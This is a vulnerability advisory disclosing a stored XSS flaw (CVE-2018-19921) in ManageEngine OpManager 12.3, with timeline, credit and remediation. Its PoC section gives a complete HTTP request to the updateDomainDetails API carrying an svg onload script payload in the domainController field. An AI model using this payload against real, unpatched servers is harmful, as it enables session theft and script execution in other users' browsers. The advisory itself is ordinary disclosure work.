Zoho ManageEngine OpManager 12.3 before Build 123237 has XSS via the domainController API.

[Murat Aydemir <murat.aydemir () biznet com tr>]

I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before Build 123237 has XSS via the
domainController API.

II. CVE REFERENCE
-------------------------
CVE-2018-19921

III. VENDOR
-------------------------
https://www.manageengine.com

IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
06/12/2018 OPManager replay that they fixed

V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.

VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to stored xss
attacks. A successfully exploit of this attack could allow thief users
sessions or arbitrary interpret javascript code on remote host.
References:
https://www.manageengine.com/network-monitoring/help/read-me.html,
https://bugbounty.zoho.com/bb/info#hof

VII. PoC
-------------------------
POST
/api/json/admin/updateDomainDetails?apiKey=5f5e26abc7bf2af2a5669cf258ec8385
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost/apiclient/ember/index.jsp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 113
Cookie: JSESSIONID=XXXXXXXXXXXXXXXX;
encryptPassForAutomaticSignin= XXXXXXXXXXXXXXXX;
userNameForAutomaticSignin= XXXXXXXXXXXXXXXX;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator; NFA__SSO= XXXXXXXXXXXXXXXX;
opmcsrfcookie= XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
DNT: 1
Connection: close

domainName=AA%22%3E&domainController=aa
*%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_domainController_parameter')%2F%2F*

cleartext of payload
* "><svg/onload=alert('xss_in_domainController_parameter')//*

VIII. Remediation
-------------------------
Its recommended to update latest version of OPManager.
https://www.manageengine.com/network-monitoring/download.html

-- 




    
    



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